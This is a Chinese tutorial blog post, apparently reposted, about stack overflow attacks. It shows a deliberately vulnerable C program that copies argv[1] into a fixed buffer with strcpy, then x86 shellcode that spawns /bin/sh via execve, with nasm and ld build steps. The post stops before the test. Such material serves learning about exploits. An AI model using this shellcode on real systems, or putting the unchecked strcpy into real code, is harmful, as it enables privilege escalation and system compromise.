当前位置:   article > 正文

栈溢出攻击提权进入root shell_栈溢出攻击 rootshell无法获取

栈溢出攻击 rootshell无法获取

以前对栈溢出攻击只是一种感官上的,最近学了shellcode,才真切地感觉到了栈溢出攻击有多么危险。

为了测试简单,写一个比较简单的程序,我们称之为bug.c


  1. #include <stdio.h>
  2. #include <string.h>
  3. int main(int argc, char **argv) {
  4. char buff[500];
  5. strcpy(buff,argv[1]);
  6. return 0;
  7. }

这段代码比较简单,就是为了用来测试栈溢出的,很显然,它是有漏洞的。

好了,我们准备好进入root shell的汇编代码:

  1. Section .text
  2. global _start
  3. _start:
  4. xor eax,eax
  5. push eax
  6. push 0x68732f ; /sh 小端机存储
  7. push 0x6e69622f ; /bin 小端存储
  8. mov ebx,esp
  9. push eax
  10. push ebx
  11. mov ecx,esp
  12. xor edx,edx
  13. mov al,0xb ; execve函数
  14. int 0x80

我们用nasm编译:

nasm -f elf execve.asm

用ld链接:

ld execve -o execve.o

我们测试一下结果:

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/705298
推荐阅读
相关标签
  

闽ICP备14008679号